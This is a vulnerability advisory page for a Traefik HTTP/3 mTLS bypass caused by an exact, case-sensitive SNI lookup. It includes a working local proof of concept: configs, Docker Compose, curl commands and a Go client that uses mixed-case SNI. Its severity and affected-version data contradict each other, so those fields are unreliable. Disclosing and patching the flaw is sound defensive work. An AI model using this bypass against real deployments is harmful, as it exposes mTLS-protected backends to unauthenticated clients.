GHSA-9cr8-q42q-g8m7 CVE-2026-53622 GO-2026-5287
Traefik: HTTP/3 mTLS bypass via exact SNI TLSOptions lookup for wildcard and mixed-case hosts
- Severity
- 0.0 / 10
- Critical · CVSS 4.0
- Exploit chance (EPSS)
- 0.63%
- Chance of exploitation in the next 30 days. Higher than 50.14% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-288 Authentication Bypass Using an Alternate Path or Channel
- CWE-289 Authentication Bypass by Alternate Name
- Fix
- Available
- 2 packages have a fixed version
Description
Summary
There is a critical vulnerability in Traefik's HTTP/3 (QUIC) TLS configuration selection that allows unauthenticated clients to bypass router-specific mTLS enforcement. When HTTP/3 is enabled on an entrypoint, the TLS handshake selects the applicable TLS configuration through an exact, case-sensitive lookup on the SNI value, which fails to match wildcard host patterns (e.g., *.example.com) or case variants of the configured hostname. Because the handshake falls back to the default TLS configuration — which may not require client certificates — a client can complete the QUIC handshake without presenting a certificate, while the subsequent HTTP routing layer still dispatches the request to a backend protected by a router-specific mTLS policy. The issue affects deployments where HTTP/3 is enabled, a router uses a wildcard Host rule or case-insensitive hostname matching, a router-specific TLSOptions enforces client certificate authentication, and UDP access to the entrypoint is reachable by an attacker.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.6.18
- https://github.com/traefik/traefik/releases/tag/v3.7.3
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
Traefik's HTTP/3 TLS configuration selection can ignore router-specific TLSOptions and allow unauthenticated clients to bypass mTLS. The QUIC/HTTP3 path resolves TLS configuration with Router.GetTLSGetClientInfo(), which performs a direct, case-sensitive map lookup on hostHTTPTLSConfig[info.ServerName].
This is inconsistent with the later HTTP host routing semantics, where the same request host can still match wildcard or case-insensitive Host rules after the HTTP/3 TLS handshake has already fallen back to the default TLS configuration. Two exploit paths are confirmed:
Host("*.example.com")withtls.options=mtls: HTTP/2 requires a client certificate, but HTTP/3 reaches the protected backend without one.Host("api.example.com")withtls.options=mtls: HTTP/2 requires a client certificate, but HTTP/3 with mixed-case SNI/Host such asAPI.EXAMPLE.COMreaches the protected backend without one.
Confirmed versions:
- wildcard HTTP/3 bypass:
v3.7.0,v3.7.1 - exact-host mixed-case HTTP/3 bypass:
v3.6.17,v3.7.0,v3.7.1
Details
HTTP/3 installs a QUIC TLS callback in pkg/server/server_entrypoint_tcp_http3.go:
h3.Server = &http3.Server{
Addr: config.GetAddress(),
Port: config.HTTP3.AdvertisedPort,
Handler: httpsServer.Server.(*http.Server).Handler,
TLSConfig: &tls.Config{GetConfigForClient: h3.getGetConfigForClient},
}
The callback is wired to the TCP router's TLS selector:
func (e *http3server) Switch(rt *tcprouter.Router) {
e.lock.Lock()
defer e.lock.Unlock()
e.getter = rt.GetTLSGetClientInfo()
}
The selector in pkg/server/router/tcp/router.go only performs an exact map lookup:
func (r *Router) GetTLSGetClientInfo() func(info *tls.ClientHelloInfo) (*tls.Config, error) {
return func(info *tls.ClientHelloInfo) (*tls.Config, error) {
if tlsConfig, ok := r.hostHTTPTLSConfig[info.ServerName]; ok {
return tlsConfig, nil
}
return r.httpsTLSConfig, nil
}
}
That creates two mismatches:
- wildcard keys such as
*.example.comare never matched forapi.example.com - lower-case router keys such as
api.example.comare not matched for mixed-case SNI such asAPI.EXAMPLE.COM
On the later HTTP request path, the same host can still match wildcard or case-insensitive Host rules through the muxer. The HTTP/3 TLS handshake path falls back to the default TLS config before that routing decision happens. If the default TLS config does not require a client certificate, the QUIC handshake succeeds without mTLS, and the later HTTP router still routes to the protected backend.
Preconditions:
- HTTP/3 is enabled on the affected entrypoint.
- A router-specific
TLSOptionsconfiguration enforces client certificate authentication. - The default/fallback TLS configuration does not require client certificates.
- UDP access to the HTTP/3 entrypoint is reachable by the attacker.
Minimal wildcard dynamic configuration:
http:
routers:
protected:
rule: Host(`*.example.com`)
service: protected
tls:
options: mtls
services:
protected:
loadBalancer:
servers:
- url: http://protected:80
tls:
certificates:
- certFile: /certs/server.crt
keyFile: /certs/server.key
options:
mtls:
clientAuth:
caFiles:
- /certs/ca.crt
clientAuthType: RequireAndVerifyClientCert
Minimal exact-host dynamic configuration:
http:
routers:
protected:
rule: Host(`api.example.com`)
service: protected
tls:
options: mtls
services:
protected:
loadBalancer:
servers:
- url: http://protected:80
tls:
certificates:
- certFile: /certs/server.crt
keyFile: /certs/server.key
options:
mtls:
clientAuth:
caFiles:
- /certs/ca.crt
clientAuthType: RequireAndVerifyClientCert
Minimal Docker Compose:
services:
traefik:
image: traefik:v3.7.1
command:
- --log.level=DEBUG
- --entrypoints.websecure.address=:8443
- --entrypoints.websecure.http3
- --providers.file.filename=/etc/traefik/dynamic.yml
- --providers.file.watch=false
ports:
- "8443:8443/tcp"
- "8443:8443/udp"
volumes:
- ./dynamic.yml:/etc/traefik/dynamic.yml:ro
- ./certs:/certs:ro
depends_on:
- protected
protected:
image: traefik/whoami:v1.11
command:
- --name=PROTECTED
Certificate generation:
rm -rf certs
mkdir -p certs
openssl req -x509 -newkey rsa:2048 -nodes -days 7 -keyout certs/ca.key -out certs/ca.crt -subj "/CN=traefik-poc-ca"
openssl req -newkey rsa:2048 -nodes -keyout certs/server.key -out certs/server.csr -subj "/CN=api.example.com" -addext "subjectAltName=DNS:api.example.com,DNS:*.example.com"
openssl x509 -req -in certs/server.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial -out certs/server.crt -days 7 -sha256 -copy_extensions copyall
The mixed-case HTTP/3 client used for the exact-host case:
package main
import (
"crypto/tls"
"fmt"
"io"
"net/http"
"os"
"time"
"github.com/quic-go/quic-go/http3"
)
func main() {
serverName := os.Getenv("TLS_SERVER_NAME")
if serverName == "" {
serverName = "API.EXAMPLE.COM"
}
host := os.Getenv("HTTP_HOST")
if host == "" {
host = "API.EXAMPLE.COM"
}
tr := &http3.Transport{
TLSClientConfig: &tls.Config{
ServerName: serverName,
InsecureSkipVerify: true,
},
}
defer tr.Close()
client := &http.Client{Transport: tr, Timeout: 8 * time.Second}
req, err := http.NewRequest(http.MethodGet, "https://127.0.0.1:8443/", nil)
if err != nil {
panic(err)
}
req.Host = host
resp, err := client.Do(req)
if err != nil {
fmt.Fprintln(os.Stderr, err)
os.Exit(1)
}
defer resp.Body.Close()
fmt.Println(resp.Proto, resp.StatusCode)
body, _ := io.ReadAll(resp.Body)
fmt.Print(string(body))
}
PoC
Wildcard bypass:
- Start Traefik with the wildcard dynamic configuration above.
- Control over TCP/TLS:
curl --noproxy '*' --http2 -skv --resolve api.example.com:8443:127.0.0.1 https://api.example.com:8443/
Observed result:
TLS alert ... certificate required
- HTTP/3 bypass:
curl --noproxy '*' --http3-only -skv --resolve api.example.com:8443:127.0.0.1 https://api.example.com:8443/
Observed result:
HTTP/3 200
Name: PROTECTED
Host: api.example.com:8443
Exact-host mixed-case bypass:
- Start Traefik with the exact-host dynamic configuration above.
- Control over TCP/TLS:
curl --noproxy '*' --http2 -skv --resolve api.example.com:8443:127.0.0.1 https://api.example.com:8443/
Observed result:
TLS alert ... certificate required
- Mixed-case HTTP/2 control:
curl --noproxy '*' --http2 -skv --resolve API.EXAMPLE.COM:8443:127.0.0.1 https://API.EXAMPLE.COM:8443/
Observed result:
TLS alert ... certificate required
This control confirms that the bypass is specific to the HTTP/3 TLS configuration selection path in this test setup. The HTTP/2 request to the same mixed-case hostname still fails with certificate required.
- HTTP/3 bypass with the same mixed-case hostname:
TLS_SERVER_NAME=API.EXAMPLE.COM HTTP_HOST=API.EXAMPLE.COM go run ./h3-case-client.go
Observed result:
HTTP/3.0 200
Name: PROTECTED
Host: API.EXAMPLE.COM
Local regression tests used during validation:
go test ./pkg/server/router/tcp -run 'TestGetTLSGetClientInfo_(WildcardCurrentBehavior|ExactHostCaseSensitivityCurrentBehavior)$' -count=1
These tests were added locally during analysis to demonstrate the current behavior of GetTLSGetClientInfo(). They are not required to reproduce the issue; the Docker and curl/HTTP3 commands above are the end-to-end reproduction.
Version matrix observed with Docker images:
wildcard H3 bypass: affected on v3.7.0 and v3.7.1
exact-case H3 bypass: affected on v3.6.17, v3.7.0, and v3.7.1
The wildcard case was tested on v3.7.x because wildcard Host / HostSNI matching and TLSOptions association for wildcard domains were introduced in v3.7.0.
Impact
Deployments that use router TLSOptions as an access-control boundary for HTTP/3 can expose protected backends without client authentication.
The highest-impact case is mTLS:
- normal HTTP/2/TCP access to the protected host requires a client certificate
- HTTP/3 access to the same route falls back to the default TLS config
- the request is then routed to the protected backend without satisfying the route's mTLS policy
This can expose confidential data or privileged backend operations to unauthenticated network clients. The issue is especially severe because it does not require credentials, user interaction, or a prior foothold.
Possible workarounds until a fix is available:
- Disable HTTP/3 on entrypoints that rely on router-specific mTLS.
- Enforce mTLS in the default TLS options as well, so fallback TLS configuration is not weaker than router-specific configuration.
- Block UDP access to the HTTP/3 entrypoint.
- Enforce client authentication at an additional layer behind Traefik.
</details>
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/traefik/traefik | <= 1.7.34 |
No fix yet |
| github.com/traefik/traefik | all versions |
No fix yet |
| github.com/traefik/traefik/v2 | < 2.11.51 |
2.11.51 |
| github.com/traefik/traefik/v3 | >= 3.7.0, < 3.7.3 |
3.7.3 |
| github.com/traefik/traefik/v3 | < 3.6.18 |
3.6.18 |
| github.com/traefik/traefik/v3 | < 3.7.3 |
3.7.3 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/traefik/traefik/v2 Go → 2.11.51
- go
go get github.com/traefik/traefik/v2@v2.11.51 && go mod tidy
github.com/traefik/traefik/v3 Go → 3.7.3
- go
go get github.com/traefik/traefik/v3@v3.7.3 && go mod tidy
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- None
- Integrity (vulnerable system)
- None
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- High
- Integrity (subsequent systems)
- High
- Availability (subsequent systems)
- None
CVSS 3.1 10.0
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Changed
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Weakness
CWE-288: Authentication Bypass Using an Alternate Path or Channel
The product requires authentication, but the product has an alternate path or channel that does not require authentication.
How to prevent it
- Architecture and Design: Funnel all access through a single choke point to simplify how users can access a resource. For every access, perform a check to determine if the user has permissions to access the resource.
CWE-289: Authentication Bypass by Alternate Name
The product performs authentication based on the name of a resource being accessed, or the name of the actor performing the access, but it does not properly check all possible names for that resource or actor.
How to prevent it
- Architecture and Design: Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
References
Advisories
Packages
Other links
- github.com/traefik/traefik/security/advisories/GHSA-9cr8-q42q-g8m7
- github.com/traefik/traefik/pull/13214
- access.redhat.com/errata/RHSA-2026:62260
- access.redhat.com/security/cve/CVE-2026-53622
- bugzilla.redhat.com/show_bug.cgi
- community.traefik.io/t/new-security-update-for-traefik-2-11-2-11-48-3-6-3-6-19-and-3-7-3-…
- github.com/traefik/traefik/compare/v3.6.17...v3.6.18
- github.com/traefik/traefik/releases/tag/v3.7.3
- security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-53622.json
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GO-2026-6558 Traefik: BasicAuth singleflight coalescing reintroduces an unauthenticated username-enumeration timing oracle | Medium | Also affects github.com/traefik/traefik |
| GHSA-f52w-8j3h-j724 Traefik: Rootless HTTP/1 request-target routes as "/" but is forwarded verbatim, bypassing path-scoped routing, middleware guards and access logging | High | Also affects github.com/traefik/traefik |
| GHSA-w4v4-9rw7-5326 Traefik: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') and Incorrect Authorization | Critical | Also affects github.com/traefik/traefik |
| GHSA-qqjf-53cj-pwvv Traefik HTTP/3 Backend NTLM Connection Reuse | Critical | Also affects github.com/traefik/traefik |
| GO-2026-6467 Traefik entrypoint header-name sanitization bypassed via request trailers | High | Also affects github.com/traefik/traefik |
| GHSA-rf44-j88r-hh8c Traefik: ForwardAuth identity spoofing via dot-form header alias | High | Also affects github.com/traefik/traefik |
| GHSA-7ghq-v6jf-g56c Traefik: respondingTimeouts.readTimeout is not applied to HTTP/3, leaving slow-body uploads unbounded | Medium | Also affects github.com/traefik/traefik |
| GHSA-62fc-8686-hfmq Traefik: `allowCrossNamespace=false` bypass via `@kubernetescrd` TraefikService backendRef | Medium | Also affects github.com/traefik/traefik |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor